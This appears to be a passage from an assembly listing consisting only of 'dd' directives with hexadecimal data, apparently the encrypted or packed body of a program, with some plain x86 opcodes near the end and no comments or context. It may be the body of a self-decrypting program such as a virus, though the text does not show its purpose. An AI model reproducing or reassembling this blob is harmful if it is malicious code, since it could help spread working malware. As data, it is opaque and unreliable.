		dd 0D3DDFCABh, 63F63E30h, 5F9FB798h, 0B6BB37F2h, 6503B79Ch
		dd 0E3D737FBh, 636F35ECh, 38C35A52h, 0D3DDF5A4h, 63F63E30h
		dd 5F9FB798h, 0B6BB37F2h, 6507B79Ch, 0DB9237FBh, 636F2EA4h
		dd 0A0644715h, 8125CB90h, 63797510h, 996E506Bh,	814817A0h
		dd 71A7BF10h, 9914D52Ch, 4F0DBBC5h, 0A041DC16h,	8125CB90h
		dd 90797110h, 991A481Ch, 814817A0h, 71A7BF10h, 9914D52Ch
		dd 4B0DBBC5h, 0A041DC16h, 8125CB90h, 46797110h,	99741382h
		dd 814817A0h, 71A7BF10h, 9914D52Ch, 570DBBC5h, 0E541DC16h
		dd 813E83A8h, 26643210h, 6171B7D3h, 0E0737F2h, 0ED229A16h
		dd 6A3487EAh, 0E30537F2h, 63A30B02h, 0E3ABE2EAh, 63FF312Ch
		dd 6171B7D3h, 0E0737F2h, 837904C0h, 6A3487EAh, 0E30537F2h
		dd 63A30B02h, 0E3ABE2EAh, 63FF3120h, 6171B7D3h,	0E0737F2h
		dd 8C8800F4h, 6A3487EAh, 0E30537F2h, 63A30B02h,	0E3ABE2EAh
		dd 63FF3128h, 6171B7D3h, 0E0737F2h, 0E2D39E22h,	6A3487EAh
		dd 0E30537F2h, 63A30B02h, 0E3ABE2EAh, 63FF3154h, 6171B7D3h
		dd 0E0B37F2h, 0F117A2C1h, 6A3487EAh, 0E30537F2h, 63A30B02h
		dd 0E3ABE2EAh, 63FF3150h, 6171B7D3h, 0E0B37F2h,	9F4C3C17h
		dd 6A3487EAh, 0E30537F2h, 63A30B02h, 0E3ABE2EAh, 63FF315Ch
		dd 6171B7D3h, 0E0937F2h, 0AE154B5Ch, 6A3487EAh,	0E30537F2h
		dd 63A30B02h, 0E3ABE2EAh, 63FF3144h, 6171B7D3h,	0E0937F2h
		dd 0BAD57F9Ch, 6A3487EAh, 0E30537F2h, 63A30B02h, 0E3ABE2EAh
		dd 63FF3158h, 6171B7D3h, 0E1137F2h, 0FA391F22h,	6A3487EAh
		dd 0E30537F2h, 63A30B02h, 0E3ABE2EAh, 63FF3140h, 6171B7D3h
		dd 0E0737F2h, 0B4F7C23Fh, 6A3487EAh, 0E30537F2h, 63A30B02h
		dd 0E3ABE2EAh, 63FF314Ch, 6171B7D3h, 0E1637F2h,	9B6086FFh
		dd 6A3487EAh, 0E30537F2h, 63A30B02h, 0E3ABE2EAh, 63F6005Ch
		dd 6171B7D3h, 0E0337F2h, 84BA6B8Ch, 6A3487EAh, 0E30537F2h
		dd 63A30B02h, 0E3ABE2EAh, 63FF3148h, 6171B7D3h,	0E0337F2h
		dd 0D7DF52D7h, 6A3487EAh, 0E30537F2h, 63A30B02h, 0E3ABE2EAh
		dd 63FF3174h, 6171B7D3h, 0E0337F2h, 0B984CC01h,	6A3487EAh
		dd 0E30537F2h, 63A30B02h
		dd 0E3ABE2EAh, 63FF3170h, 6171B7D3h, 0E1B37F2h,	0F872C07Dh
		dd 6A3487EAh, 0E30537F2h, 63A30B02h, 0E3ABE2EAh, 63FF317Ch
		dd 6171B7D3h, 0E0B37F2h, 0A1DE492Ah, 6A3487EAh,	0E30537F2h
		dd 63A30B02h, 0E3ABE2EAh, 63FF3180h, 6171B7D3h,	0E0337F2h
		dd 9C795C59h, 6A3487EAh, 0E30537F2h, 63A30B02h,	0E3ABE2EAh
		dd 63FF318Ch, 6171B7D3h, 0E0337F2h, 0A52416D8h,	6A3487EAh
		dd 0E30537F2h, 63A30B02h, 0E3ABE2EAh, 63FF3188h, 6171B7D3h
		dd 0E1B37F2h, 0B29952D9h, 6A3487EAh, 0E30537F2h, 63A30B02h
		dd 0E3ABE2EAh, 63FF3178h, 6171B7D3h, 0E1B37F2h,	0F8CB665Bh
		dd 6A3487EAh, 0E30537F2h, 63A30B02h, 0E3ABE2EAh, 63FF3164h
		dd 6171B7D3h, 0E1B37F2h, 0B7311A5Dh, 6A3487EAh,	0E30537F2h
		dd 63A30B02h, 0E3ABE2EAh, 63FF3160h, 66E0367Fh,	0E443205h
		dd 66222215h, 0F3EE327Fh, 636F036Ch, 4A71B79Ch,	0E3AF37F2h
		dd 63FCDB89h, 62E2E2EAh, 6654327Dh, 46225A15h, 667B3215h
		dd 57F1A7EAh, 0E3CD37F2h, 63C52084h, 6F98B79Ch,	26E237F2h
		dd 6654327Dh, 66225A15h, 667B3214h, 57F1A7EAh, 0E3CD37F2h
		dd 63C5281Ch, 7004879Eh, 0FB0337F2h, 63A334C8h,	43BB879Ch
		dd 0FB9837F2h, 636F17BCh, 6099AF9Eh, 6DA937F2h,	6911CB96h
		dd 6682ED91h, 6156215h,	0E3ABF226h, 63F617D0h, 66880EABh
		dd 42303115h, 658F5435h, 0ED311651h, 128B4A65h,	18CF1231h
		dd 279FBB0Dh, 0E314D506h, 6C0D3DEAh, 8E443215h,	6622231Bh
		dd 6611A3FCh, 0B1036315h, 0EF40E07Eh, 81311F80h, 0E155810h
		dd 66882215h, 99445847h, 81134B80h, 0FB94BB10h,	0ED8DD51Dh
		dd 0B9AC6BC5h, 30223205h, 425531B8h, 0B903A531h, 0C8840042h
		dd 99DBB71Ah, 4D4FCDEAh, 0B10360EEh, 4A718F9Eh,	0AFA137F2h
		dd 0ECD101EAh, 20490013h, 0A7C3369Eh, 0AE113AFCh, 8C943D5Fh
		dd 0ED77CDEAh, 3C94C5D4h, 0A4A1309Ch, 0E3EE6011h, 636F17D0h
		dd 4381A79Eh, 0F31B37F2h, 63F62154h, 6682B61Ah,	381E3215h
		dd 8F26F496h, 99EECD8Eh, 3FE96C4Fh, 4BC1F54Dh, 6627D53Eh
		dd 0A1113215h, 818D0B90h, 66443210h, 0BB9FB115h, 6614DC17h
		dd 6680B61Ah, 0FBC93215h, 63CF6D70h, 0E3EEE1EAh, 636F1BE0h
		dd 4FB18F96h, 694637F2h, 66115097h, 930DF515h, 6741D53Ch
		dd 6223215h, 65A48798h,	0DB0537FBh, 63AA1235h, 0B1A9CC3Eh
		dd 4A248F9Eh, 0AF0B37F2h, 0EC8401EAh, 20E30013h, 0A796369Eh
		dd 0AEBB3AFCh, 8CC13D5Fh, 0EDDDCDEAh, 5FC1C5D4h, 818C6B90h
		dd 71C03D10h, 0E5223215h, 812233A8h, 0E3873210h, 6644321Fh
		dd 683FB7D2h, 661037F2h, 0DFE93215h, 1C6500D4h,	0F5BC70AFh
		dd 0D3989F0Fh, 636F178Ch, 66B874D2h, 5B223215h,	88FFDCFBh
		dd 66A8B71Ah, 58C53215h, 0BBFFEFC8h, 6605B71Ah,	604F3215h
		dd 66443215h, 0EF26F496h, 8134ABA0h, 6E71DB10h,	0BECF3215h
		dd 683FB726h, 0AED037F2h, 0A74A1916h, 0A77722D5h, 683FAF9Ch
		dd 662C37F2h, 69883315h, 66447796h, 0DD1CB315h,	69AA89AEh
		dd 66880B90h, 6642F515h, 0E5223215h, 0D39836D3h, 636F178Ch
		dd 6099AF9Eh, 6DA937F2h, 0ED71E29Eh, 0F30D19D7h, 0A741D51Ch
		dd 0E32130F5h, 63F611ACh, 0A78B9F83h, 7A60769Ch, 665EDB74h
		dd 34403215h, 0F303FB26h, 63A33A88h, 0E22D302Eh, 6611322Dh
		dd 278CF096h, 7505BF2Eh, 0E32D37F2h, 99EECDFDh,	64128798h
		dd 0DBC937FBh, 63C525B8h, 69D1B6B9h, 66883491h,	97AD9815h
		dd 0DEDDCDEAh, 66113215h, 2B72BF98h, 87BB37F2h,	43E7BF9Ch
		dd 3F4B37F2h, 0BB15B943h, 0ED41D513h, 0A3A7B91Eh, 0B714D530h
		dd 70D31F5h, 5541D53Fh,	0CB44A4E3h, 6513D2D4h, 81AB8B90h
		dd 65E9A410h, 0DBA16CD4h, 63F62594h, 5F0C3D14h,	5D443215h
		dd 812E1798h, 4B953D10h, 5D883215h, 8157F798h, 47A63D10h
		dd 5D113215h, 818DC398h, 73C03D10h, 0EB223215h,	8806CA88h
		dd 0ED5BCD10h, 97C1BBEDh, 8F27D503h, 661134A1h,	7170AF98h
		dd 0B5BB37FBh, 71A38F96h, 691137F2h, 66882F91h,	0EFC10915h
		dd 6927D514h, 66113E91h, 7F0D0915h, 6941D51Ah, 66223790h
		dd 99A8DB15h, 0E3B3CDEAh, 63A33FBCh, 663AB71Ah,	0DB923215h
		dd 636F35E4h, 6DC13D15h, 0EB223215h, 8BF1D390h,	991DDB10h
		dd 0E37FCDEAh, 63C53FBCh, 9998B61Ah, 0DB0BCDEAh, 63AA3083h
		dd 71A73D14h, 5D113215h, 888AC790h, 6DC13D10h, 0EB223215h
		dd 3EF79290h, 99E5DB15h, 9977CDEAh, 688B8F96h, 691137F2h
		dd 668B5591h, 87C10915h, 1327DC17h, 0DF94B912h,	218DD539h
		dd 64ADB72Eh, 615737FBh, 68F4B79Eh, 5DCF37F2h, 8846D790h
		dd 0ED254710h, 813F3F90h, 0E3B37510h, 63AA30F8h, 0E3A93560h
		dd 63F63B3Ch, 970D0952h, 1341DC17h, 0FA7B912h, 2114D51Fh
		dd 647DB72Eh, 613137FBh, 7573B79Eh, 5D5637F2h, 888ACB90h
		dd 0ED434710h, 8105AB90h, 0E32A7510h, 636630E8h, 0E3CF3560h
		dd 63C519D4h, 67940952h, 138DDC16h, 17C1B912h, 2127D506h
		dd 6514B72Eh, 61FD37FBh, 6CD1B79Eh, 5D6537F2h, 88123F90h
		dd 0ED8F4710h, 81693B90h, 0E3197510h, 63FF311Ch, 0DB0B2260h
		dd 63A32EA4h, 0ED254715h, 81326390h, 0DB0B7510h, 63A33A54h
		dd 5D2D4615h, 8812A790h, 0ED8F4710h, 81644390h,	0DBA17510h
		dd 63F61D50h, 0E5FA4615h, 81614BA8h, 0F563210h,	6568B72Eh
		dd 61FD37FBh, 75F5B79Eh, 5D6537F2h, 8812BB90h, 0ED8F4710h
		dd 81410390h, 0E3197510h, 63FF3168h, 0E3033560h, 63A31484h
		dd 0EBA70952h, 1314DC16h, 6F0DB912h, 2141D51Ch,	65B3B72Eh
		dd 616437FBh, 74C1B79Eh, 5D0337F2h, 8821B390h, 0ED164710h
		dd 81932F90h, 0E37F7510h, 63CC3190h, 0E39A3560h, 636F014Ch
		dd 1FF9B152h, 6627D530h, 641BB61Ah, 0E3B33215h,	63AA3104h
		dd 0E3A93560h, 63F612ACh, 0C30D0952h, 1341DC16h, 63A7B912h
		dd 2114D539h, 659DB72Eh, 613137FBh, 6A43B79Eh, 5D5637F2h
		dd 888B2B90h, 0ED434710h, 81233790h, 0E32A7510h, 63663108h
		dd 0E3CF3560h, 63C51544h, 47940952h, 138DDC16h,	0D7F9B105h
		dd 6627D509h, 0E39A3560h, 636F3A04h, 43C10952h,	1327DC16h
		dd 7B94B912h, 218DD537h, 656DB72Eh, 765737FBh, 7AA08F96h
		dd 138837F2h, 3C1B912h,	2127D503h, 653CB72Eh, 61FD37FBh
		dd 7369B79Eh, 5D6537F2h, 88120390h, 0ED8F4710h,	816E6390h
		dd 0E3197510h, 63FF312Ch, 0DB0B2260h, 63A32EA4h, 0ED254715h
		dd 813CE790h, 0E3B37510h, 63AA3120h, 0DBA12260h, 63F62EA4h
		dd 0ED8F4715h, 81498790h, 0E3197510h, 63FF3128h, 0E3033560h
		dd 63A3310Ch, 27A70952h, 1314DC16h, 0E70DB912h,	2141D506h
		dd 6567B72Eh, 616437FBh, 44A5B79Eh, 5D0337F2h, 88217B90h
		dd 0ED164710h, 819F0B90h, 0E37F7510h, 63CC3158h, 0E39A3560h
		dd 636F127Ch, 37C10952h, 1327DC16h, 4F94B912h, 218DD536h
		dd 6511B72Eh, 615737FBh, 6DE0B79Eh, 5DCF37F2h, 88476B90h
		dd 0ED254710h, 810DDB90h, 0E3B37510h, 63A3005Ch, 0E3A93560h
		dd 63F635D8h, 3B0D0952h, 1341DC16h, 9BA7B912h, 2114D503h
		dd 6511B72Eh, 7F3137FBh, 65838F96h, 131137FBh, 0E735B11Ch
		dd 6641D502h, 0E3A93561h, 63F619FCh, 0FB0D0952h, 1341DC16h
		dd 0C79FB10Ch, 6614DC16h, 0DB0B3B60h, 63A32594h, 0ED254615h
		dd 8115A390h, 0E3B37510h, 63AA3174h, 0E3A93560h, 63F629F8h
		dd 30D0952h, 1341DC16h
		dd 7FA7B912h, 2114D51Dh, 65E1B72Eh, 613137FBh, 492FB79Eh
		dd 5D5637F2h, 888B5F90h, 0ED434710h, 810EBB90h,	0E32A7510h
		dd 63663164h, 0E3CF3560h, 63C53E10h, 13940952h,	138DDC16h
		dd 0DFC1B912h, 2127D535h, 0E21ECD1Eh, 66883210h, 99BFD8FCh
		dd 0D7A709EAh, 6914D516h, 66883990h, 3FC1BF15h,	8F27DFB1h
		dd 99EEC9C6h, 4319B72Eh, 0E34B37F2h, 6622320Dh,	64878F96h
		dd 698937FBh, 66443990h, 45A7BF15h, 8F116AF3h, 9977C9BAh
		dd 6495B72Eh, 0E22D37FBh, 66113219h, 645DB72Eh,	0E34B37FBh
		dd 66223210h, 99EAA0FCh, 66888CEAh, 98C73215h, 23A73D14h
		dd 5D113215h, 888AF790h, 6DC13D10h, 0EB223215h,	3E73D690h
		dd 9DE5DB15h, 0E37FCDEAh, 63CC30DCh, 661AB71Ah,	0E3053215h
		dd 661C514Fh, 99D964FCh, 0AB9409EAh, 698DDC17h,	66443990h
		dd 0F9A7BF15h, 8F116A76h, 9977C92Ah, 67FAF29Eh,	6D223215h
		dd 63943DE3h, 8F883215h, 99BBC936h, 0D3ABC29Eh,	63F6214Ch
		dd 7DA5879Ch, 58C437F2h, 40A73DFCh, 0ED113215h,	988B336Bh
		dd 0A5C5EC9Eh, 66227215h, 75488F2Eh, 0E48737F2h, 6644321Dh
		dd 0E02DC92Eh, 66113210h, 9972D4FCh, 0F7F9B9EAh, 0A127D507h
		dd 8130D790h, 66883210h, 0D3CD5215h, 63C52938h,	7BC8AF98h
		dd 0B57737FBh, 6666B01Ah, 0FBAF3215h, 63FD8EADh, 0E587E1EAh
		dd 99BBCDCBh, 7D0F879Eh, 0D39837F2h, 636F13F0h,	3949AF98h
		dd 0B5DD37F8h, 7548B79Eh, 0E30137F2h, 63A32938h, 24BFBF74h
		dd 9914DC0Fh, 4C15BFC6h, 9941DC08h, 6AA13DC6h, 0E5113215h
		dd 81931F90h, 0B8AD3710h, 0EBDDCDEAh, 880C6188h, 695BCD10h
		dd 66443A96h, 62E0B115h, 661100FCh, 0DE15BF15h,	9941DEA9h
		dd 6DA13DC6h, 0ED113215h, 81931FA0h, 61C4DB10h,	0EBA93215h
		dd 63F62938h, 7DA5879Ch, 0A86F37F2h, 9709EBE2h,	0F0F896E6h
		dd 0EB77CDEAh, 8B1B5788h, 0EDF1CD10h, 0F79419D2h, 0EF8DD507h
		dd 81519790h, 0F7A7B910h, 3114D507h, 0BC05BF45h, 9941DF4Ah
		dd 6FA7B9C4h, 3614D50Fh, 0F70DB942h, 3641D507h,	62BBF98h
		dd 0B7EE37F8h, 0AE03E29Eh, 7C4DBF3Eh, 0DBA137F2h, 63F60170h
		dd 4D0C3D15h, 0ED443215h, 81284B90h, 3941910h, 5D8DD526h
		dd 71C23DD4h, 0ED223215h, 81308790h, 30D3110h, 0EF41D526h
		dd 8134C390h, 6652DB10h, 0EDD93215h, 99497AD4h,	2622321Ah
		dd 6C68B79Ch, 0E38937F2h, 63A33154h, 5547B7D2h,	661137F2h
		dd 26E23215h, 6654327Dh, 66486315h, 5768A7EAh, 0F37737F2h
		dd 63A310C0h, 4797B79Ch, 0E39837F2h, 636F24E4h,	97F1CD4Ch
		dd 9927D503h, 810B3BA0h, 0D3776510h, 63A32084h,	2B9B798h
		dd 0B6EE37F8h, 55EDBF14h, 0DBCF37F2h, 63C524E4h, 7C18879Eh
		dd 0C27B37F2h, 43DD879Eh, 0A18F37F2h, 6611CE53h, 0A6493215h
		dd 54853710h, 0E3214834h, 63F63688h, 7079BF9Eh,	6ECD37F2h
		dd 9A64F5B8h, 66113215h, 4311879Ch, 9EC737F2h, 46A73DEAh
		dd 0E7113215h, 0BB55EF2Bh, 72C13DC8h, 0A1223215h, 66113213h
		dd 624EB115h, 43DD879Ch, 80CB37F2h, 0A7EECDE3h,	0E38B31D5h
		dd 63A33688h, 6EB38F96h, 691037F2h, 6688AF91h, 0CC7AB315h
		dd 698898BFh, 66112090h, 624EB115h, 66B874D2h, 0F1223215h
		dd 65F8DBA5h, 0F1883215h, 0E514DAA5h, 8135B3A8h, 0E21E3310h
		dd 6688322Bh, 664532ADh, 0BB9FB115h, 6614DC17h,	6680B61Ah
		dd 0FBC93215h, 63CF55C9h, 5991E1EAh, 6E0C3D85h,	0E5443215h
		dd 25CB37D2h, 0E5113215h, 0E48762EDh, 6644321Fh, 3E88A2A5h
		dd 6635DBBFh, 0CCD03215h, 8FBB4D95h, 663AB71Ah,	0DB923215h
		dd 636630C8h, 6EC03D15h, 0EB223215h, 8B769E88h,	0EE5BCD10h
		dd 0E3CF3652h, 63C524E4h, 8E92F53Eh, 0A1259911h, 6644CE53h
		dd 77CB3215h, 0EFEECDEAh, 81ADABA0h, 662C6010h,	0C223295h
		dd 0FBA4CD15h, 998DD51Dh, 81639380h, 0EBA96810h, 63F634C8h
		dd 668833D2h, 0A7C73215h, 0BBAFBB11h, 8F14D513h, 9977C705h
		dd 664296FCh, 0EBA95215h, 63F634C8h, 0EB013B9Eh, 63AA30CCh
		dd 326C0A94h, 0E31E7E51h, 66883209h, 623CB373h,	0E32D1C59h
		dd 66113205h, 0A00BC29Eh, 3BC1B913h, 8F27D518h,	66113313h
		dd 0B603C29Eh, 5AE8FB26h, 3BA63D15h, 5A113215h,	890C3D38h
		dd 5ABBCDEAh, 5BA63D3Bh, 5A113215h, 660A3D25h, 5A443214h
		dd 0B1A43D2Ch, 5AEECDEAh, 960A3D54h, 5A443215h,	0A1A43D4Fh
		dd 5AEECDEAh, 0D90C3D4Ah, 5ABBCDEAh, 0BEA03D74h, 5A113215h
		dd 0C90E3D6Fh, 8FBBCDEAh, 662232DEh, 69C70957h,	6688F091h
		dd 8F057815h, 99DDCD8Fh, 0E21EFB90h, 668832A6h,	44B18798h
		dd 0ACA937F2h, 48A1C89Eh, 9F0D3DBBh, 4DBBCDEAh,	4DFBC5DAh
		dd 95E6B5ECh, 99CFF4B1h, 93D1BF15h, 0ED27D537h,	8106BB90h
		dd 6948B710h, 66442890h, 9FA7F415h, 2114D512h, 0FC2FE07Dh
		dd 0A3F1CDC1h, 0EB27D538h, 8C685190h, 3458CD10h, 0A6C1E2EAh
		dd 661AB71Ah, 0E39A3215h, 636F03ECh, 0E34BF290h, 6622320Fh
		dd 61E8B7D3h, 0EC437F2h, 0BF9E2EFCh, 4BE787EAh,	0E39C37F2h
		dd 63624B76h, 9916E2EAh, 69E2B7C5h, 66113790h, 66A9DB15h
		dd 0E3CD3215h, 63CC30CCh, 0E39C6445h, 63625922h, 0A64FE2EAh
		dd 6627B71Ah, 62F83215h, 0EF883215h, 7581651h, 0EBA952D6h
		dd 63FF30CCh, 6549B945h, 0F6CF0E55h, 6622329Dh,	43ECA79Ch
		dd 9E8D37F2h, 0ED443215h, 0F3AB3E45h, 63F61358h, 42CCB94Dh
		dd 5D851931h, 81037F90h, 76933D10h, 5D883215h, 8161CF90h
		dd 62A13D10h, 7113215h,	78836D7h, 666036D2h, 0A1223215h
		dd 66151651h, 0DE883215h, 66443210h, 2BD8BF98h,	87EE37F2h
		dd 5A8EB875h, 58C03DFCh, 5A223215h, 24953DFDh, 5A883215h
		dd 74C03D1Ah, 5A223215h, 59953DD8h, 5A883215h, 2FC03DFEh
		dd 7223215h, 674FB8D6h,	0E678D195h, 0E34BB2EEh,	99DDCDFAh
		dd 0A592EC9Eh, 64D63113h, 664426FCh, 677CB915h,	69EAC996h
		dd 66881B91h, 659AB915h, 0A5A1334Bh, 99D8DB10h,	0D087CDEAh
		dd 8DC7334Bh, 0DAA63D3Bh, 8FEECDEAh, 6688321Fh,	98454C95h
		dd 998FB71Ah, 6F8CDEAh,	3077CDEAh, 55136144h, 0BEA89ED5h
		dd 0E6E1D195h, 0E28742EEh, 664432F9h, 0E22D3D29h, 66113230h
		dd 0E287DB29h, 66443391h, 0E22DD929h, 66113000h, 0E287D129h
		dd 66443264h, 0E22DD029h, 66113056h, 38D1694Ah,	0CFC1F5D6h
		dd 6027DC16h, 0EC113215h, 966BB20Bh, 69C4C995h,	99DDD190h
		dd 0E39A7CEAh, 636F214Ch, 47A1A79Eh, 0B8A937F2h, 6517F196h
		dd 0BEB3304Bh, 664CB01Ah, 0BC193215h, 99AFB41Ah, 0B9A3CDEAh
		dd 42D996h, 0F58954B8h,	62D7B1BEh, 0EFAC0E9Ch, 0EF481661h
		dd 81391FA0h, 3F4A6D10h, 624CB14Bh, 99BE52FCh, 0CFA7F5EAh
		dd 6414DC16h, 0ED883215h, 68F23DCBh, 69A2CB95h,	66113A96h
		dd 25513115h, 66443FFCh, 99CBB215h, 8790EBE2h, 668832EAh
		dd 0E3CFEB3Eh, 63C5214Ch, 47F4A79Eh, 0DB0B37F2h, 63A31938h
		dd 0C5A63D14h, 5D113215h, 0FD0A3DCDh, 5D443215h, 27A03DCFh
		dd 8FEECDEAh, 6688329Bh, 65EDB7D2h, 662037FBh, 0B89A3215h
		dd 0E686841Ah, 0E54BB2ECh, 6622321Dh, 8F52EB16h, 66883218h
		dd 91BBDB95h, 99C3B3CCh, 4D113215h, 3F0DB9CCh, 0ED41D506h
		dd 8103D780h, 4BACB110h, 678DD53Eh, 660CB61Ah, 0BE193215h
		dd 6619B01Ah, 0BCB33215h, 98A2B41Ah, 0D66CCDEAh, 689B981Ah
		dd 8708B2A5h, 0CC85381Ah
		dd 8DA1ED3Eh, 0E5BAA111h, 0D30130D3h, 63A32938h, 4D0FB7D2h
		dd 661037F2h, 0A20B3215h, 0E51D6911h, 0A2A136D1h, 9F66DB11h
		dd 0D6C6CDEAh, 0A0CF98FCh, 8EA1F53Eh, 0A2929911h, 38D16911h
		dd 8F40F696h, 99DDCBD2h, 65B8B7D2h, 668D37FBh, 0B8CF3215h
		dd 6526F196h, 3F94B90Bh, 0ED8DD506h, 8165D780h,	0DBA17C10h
		dd 63F6372Ch, 650C3D14h, 5D443214h, 6EA03DCDh, 5D113215h
		dd 4D0E3DCFh, 0EF443215h, 81391FA0h, 0CF8CB910h, 678DDC16h
		dd 8F481649h, 662232CBh, 5F94F54Ah, 678DD510h, 3D443215h
		dd 0A2A16C4Ch, 9EE6DB11h, 0DB0BCDEAh, 63A31938h, 0DDA63D14h
		dd 4D113215h, 819B6B88h, 0F7C9B910h, 6527D507h,	0E5DE19DEh
		dd 8F3837FCh, 0E5EFA3BFh, 3F7936D1h, 62D5B14Bh,	99711CFCh
		dd 0CFC1F5EAh, 6427DC16h, 0ED113215h, 683E3DCBh, 69C4CB95h
		dd 66223A96h, 25C83115h, 66883FFCh, 99ADB215h, 87A3EBE2h
		dd 661132EAh, 0E303EB3Eh, 63A3214Ch, 47C7A79Eh,	20F837F2h
		dd 0A177CDEAh, 88479B90h, 66223010h, 69CFB915h,	9F083CA3h
		dd 6EC73D95h, 65223215h, 6BF871CCh, 0E6883215h,	0BFB3CDFCh
		dd 66DDD394h, 0BF3A3215h, 75D1B79Eh, 0F3CF37F2h, 63C513F0h
		dd 4D3C8F96h, 698937F2h, 99BAFB91h, 69FA09EAh, 66113A97h
		dd 69520915h, 99B95593h, 0A8A97CEAh, 8F92FD3Eh,	0CC618210h
		dd 0EEAD9984h, 0ECDDCDEDh, 69F90E13h, 66883491h, 7EADCA15h
		dd 35223215h, 3812EC9Eh, 634BB114h, 4DEEDAA5h, 62C9B1CAh
		dd 0E54A9986h, 0A57137D3h, 60CF5444h, 0E22DF129h, 66113255h
		dd 0E287F929h, 6644322Dh, 0E22DF029h, 6611322Dh, 0E287F829h
		dd 66443225h, 43DD0F73h, 6621B61Ah, 5BEE3215h, 0E34BCD3Bh
		dd 66223218h, 4213749Fh, 69280EE5h, 66441191h, 8FDA6B15h
		dd 6611322Ch, 8FC9FB26h, 6644320Ch, 662231ACh, 661EDB15h
		dd 60313215h, 8F443215h, 66223210h, 661135ACh, 0ED2CC115h
		dd 8165D798h, 69EBB710h, 66113490h, 833DBB15h, 3F41D534h
		dd 0ED44F1ECh, 69D20E13h, 66885791h, 0E69CB815h, 9DA2C2F6h
		dd 0FA953D65h, 5A883215h, 29C03DFCh, 5A223215h,	21953DFEh
		dd 5A883215h, 59C03DD7h, 5A223215h, 51953DDEh, 883215h
		dd 6961CD28h, 66221F91h, 69DB0E15h, 66881791h, 69A70E15h
		dd 66225091h, 482C5415h, 6B0D3DEAh, 0EC443215h,	96063053h
		dd 0E21E9229h, 66883213h, 664BDBEDh, 0D3AB3215h, 63F613F0h
		dd 3985AF98h, 0B5BB37F8h, 0ED72F1ECh, 0E3982253h, 636F3B80h
		dd 7A82B14Dh, 459B8F98h, 65BC37F2h, 0CDAC1651h,	7D058F98h
		dd 658F37F2h, 36351651h, 735BFBEh, 0CB41D53Fh, 4E067616h
		dd 30D26CBEh, 386EAF98h, 0B5BB37F8h, 0FFFF95FCh, 4ECEDFFFh
		dd 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A7A841AFh, 2AA8ED96h
		dd 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h
		dd 2A162C5Eh, 0CA798A15h, 2A492C5Eh, 13798A15h,	2A382C5Eh
		dd 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h
		dd 0D554A851h, 0D7BA8660h, 0C5CE2559h, 0F14067D3h, 0ED9232DCh
		dd 71BA8FF8h, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h
		dd 2FB96EAEh, 64DF0746h, 0D5514596h, 5E0003C6h,	835492B8h
		dd 0A4F305E9h, 31E4CB8Bh, 5DB1DABAh, 2FEB3256h,	0BAD670BCh
		dd 113C5253h, 0D05C690Eh, 63B977DDh, 79F4B951h,	31B575DFh
		dd 1A382213h, 0BAF4B95Ah, 36A175DFh, 0ABA1F09Fh, 2C34F436h
		dd 0E983D551h, 0B0A4F305h, 0F29D11F1h, 2375FD7Ah, 505817FBh
		dd 0D525F897h, 0ADFDF53Fh, 92981662h, 0CFB73422h, 0B723AC7Ah
		dd 1A20AD29h, 7975FD7Ah, 0F2987C27h, 0A0701096h, 0C29F62FFh
		dd 83C87D7Fh, 0A4F305E9h, 0BD8DDB8Bh, 5EE03B5h,	1E9C8D8Dh
		dd 44B805EEh, 2B321566h, 2E9C1CFh, 0C8D00731h, 4904C783h
		dd 0FFF2850Fh, 0C08BFFFFh, 0D79BD83h, 750005E7h, 15BD8309h
		dd 5E71Ch, 53501974h, 11B8C08Bh, 89000004h, 0E70F2D85h
		dd 9B9D8D05h, 0FF05E9AAh, 83585BD3h, 0E71C15BDh, 17740005h
		dd 11B85350h, 89000004h, 0E70F2D85h, 3C9D8D05h,	0FF05E9A7h
		dd 8B585BD3h, 0A4F2BBC0h, 8D8D4672h, 5EE2095h, 14DB523h
		dd 8D8905E7h, 5E72315h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0D9C35343h, 5F51CE46h, 5CC9EF29h, 8B985C7h
		dd 5D8405E7h, 8B660000h, 9985C7DFh, 5E70Ch, 8B000000h
		dd 0E712D195h, 7DB5FF05h, 2B05E701h, 0E7238D9Dh, 0CD95FF05h
		dd 6605E732h, 6AE5FABEh, 1D95FF00h, 8B05E71Ah, 663BEBC0h
		dd 0BC75B7AFh, 1EADBB61h, 0D3014B8Ah, 6D98EE8Ah, 243DCD34h
		dd 82D050B7h, 28879AE0h, 0CD60C30h, 0D0E3AEBCh,	80FE38BFh
		dd 0A40182E3h, 0CB96FDAAh, 0B01EF392h, 9163B314h, 12E8C4A3h
		dd 0BE000000h, 86B0C0E4h, 0D7B2A24Eh, 0DFAE80D3h, 2878487Ah
		dd 0F9B589DBh, 5905E70Dh, 2C0DBD89h, 0C18105E7h, 603Dh
		dd 17E5BEh, 0B850F00h, 0F000000h, 589h,	0EC5CBB00h, 18B0084h
		dd 0C59D8B50h, 5F05E716h, 0A49FF081h, 0F6047AAh, 0CC80D6BFh
		dd 0E8816153h, 67204BFDh, 12E8h, 0B4A27000h, 0B45E97Bh
		dd 578E3C2Dh, 443E9A71h, 0FFDCC82h, 583h, 4BBFBA00h, 815F7CA3h
		dd 52A9B9E8h, 0F381533Bh, 43C06F19h, 0E901895Bh, 9, 0DE4CBFh
		dd 0AB2746B0h, 4E98341h, 1EE81h, 850F0000h, 0FFFFFF92h
		dd 7995BB66h, 0EDE9h, 8C666000h, 0F04A8D8h, 0DF84h, 0A9B58B00h
		dd 8305E70Dh, 850F00FEh, 22h, 7F985C6h,	684505E7h, 8E726969h
		dd 0C25B5FFh, 858D05E7h, 5EA7963h, 8589D0FFh, 5E727D1h
		dd 3E80F08Bh, 31850FE9h, 8D000000h, 0EC84FA85h,	8BD0FF05h
		dd 0E72A59BDh, 84C78105h, 8B000011h, 0E70DA9B5h, 0B9F78705h
		dd 8, 0B58BA4F3h, 5E70DA9h, 29CB858Dh, 0D0FF05EBh, 2DF9B58Bh
		dd 0FE8305E7h, 22850F00h, 0C6000000h, 0E707F985h, 0F4685405h
		dd 0FFFF4EBEh, 0E70C25B5h, 63858D05h, 0FF05EA79h, 0F98589D0h
		dd 8B05E72Dh, 0E93E80F0h, 3A850Fh, 0B58B0000h, 5E72DF9h
		dd 84FA858Dh, 0D0FF05ECh, 2A59BD8Bh, 0C78105E7h, 1184h
